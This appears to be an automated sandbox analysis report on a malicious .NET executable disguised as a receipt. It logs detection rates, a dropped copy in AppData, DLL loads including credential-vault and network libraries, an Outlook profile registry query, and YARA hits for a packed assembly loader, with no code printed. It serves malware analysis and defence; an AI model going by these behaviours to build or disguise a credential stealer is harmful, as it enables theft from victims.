Source: Receipt_7814002.exe	ReversingLabs: Detection: 42%
Source: Receipt_7814002.exe	Virustotal: Detection: 40%

Source: C:\Users\user\Desktop\Receipt_7814002.exe

File read: C:\Users\user\Desktop\Receipt_7814002.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Receipt_7814002.exe "C:\Users\user\Desktop\Receipt_7814002.exe"
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process created: C:\Users\user\Desktop\Receipt_7814002.exe "C:\Users\user\Desktop\Receipt_7814002.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe "C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe "C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe "C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe "C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Process created: C:\Users\user\Desktop\Receipt_7814002.exe "C:\Users\user\Desktop\Receipt_7814002.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe "C:\Users\user\AppData\Roaming\daqfbrlrs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Process created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe "C:\Users\user\AppData\Roaming\daqfbrlrs.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Section loaded: wintypes.dll

Source: C:\Users\user\Desktop\Receipt_7814002.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Receipt_7814002.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Receipt_7814002.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: Receipt_7814002.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Receipt_7814002.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Receipt_7814002.exe, 00000000.00000002.2364465182.0000000004C14000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2364465182.0000000004B5C000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374384643.00000000062F0000.00000004.08000000.00040000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Receipt_7814002.exe, 00000000.00000002.2364465182.0000000004C14000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2364465182.0000000004B5C000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374384643.00000000062F0000.00000004.08000000.00040000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006DB8000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362114328.0000000001460000.00000004.08000000.00040000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002DD9000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006DB8000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362114328.0000000001460000.00000004.08000000.00040000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002DD9000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: Receipt_7814002.exe, Program.cs	.Net Code: PerformComplexCalculation System.AppDomain.Load(byte[])
Source: daqfbrlrs.exe.0.dr, Program.cs	.Net Code: PerformComplexCalculation System.AppDomain.Load(byte[])
Source: 0.2.Receipt_7814002.exe.4bc40d0.8.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Receipt_7814002.exe.4bc40d0.8.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Receipt_7814002.exe.4bc40d0.8.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.Receipt_7814002.exe.317c100.3.raw.unpack, Program.cs	.Net Code: PerformComplexCalculation System.AppDomain.Load(byte[])
Source: 0.2.Receipt_7814002.exe.6d68a78.16.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.Receipt_7814002.exe.6d68a78.16.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.Receipt_7814002.exe.6d68a78.16.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.Receipt_7814002.exe.6d68a78.16.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.Receipt_7814002.exe.6d68a78.16.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.Receipt_7814002.exe.62f0000.14.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Receipt_7814002.exe.62f0000.14.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Receipt_7814002.exe.62f0000.14.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.Receipt_7814002.exe.6c61038.17.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Receipt_7814002.exe.6260000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2883800610.0000000006BD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2883800610.0000000006B31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2373984396.0000000006260000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2974997993.0000000006DD1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2974997993.0000000006D31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2374923568.0000000006C11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2874971771.0000000002DD9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Receipt_7814002.exe PID: 6112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: daqfbrlrs.exe PID: 3440, type: MEMORYSTR
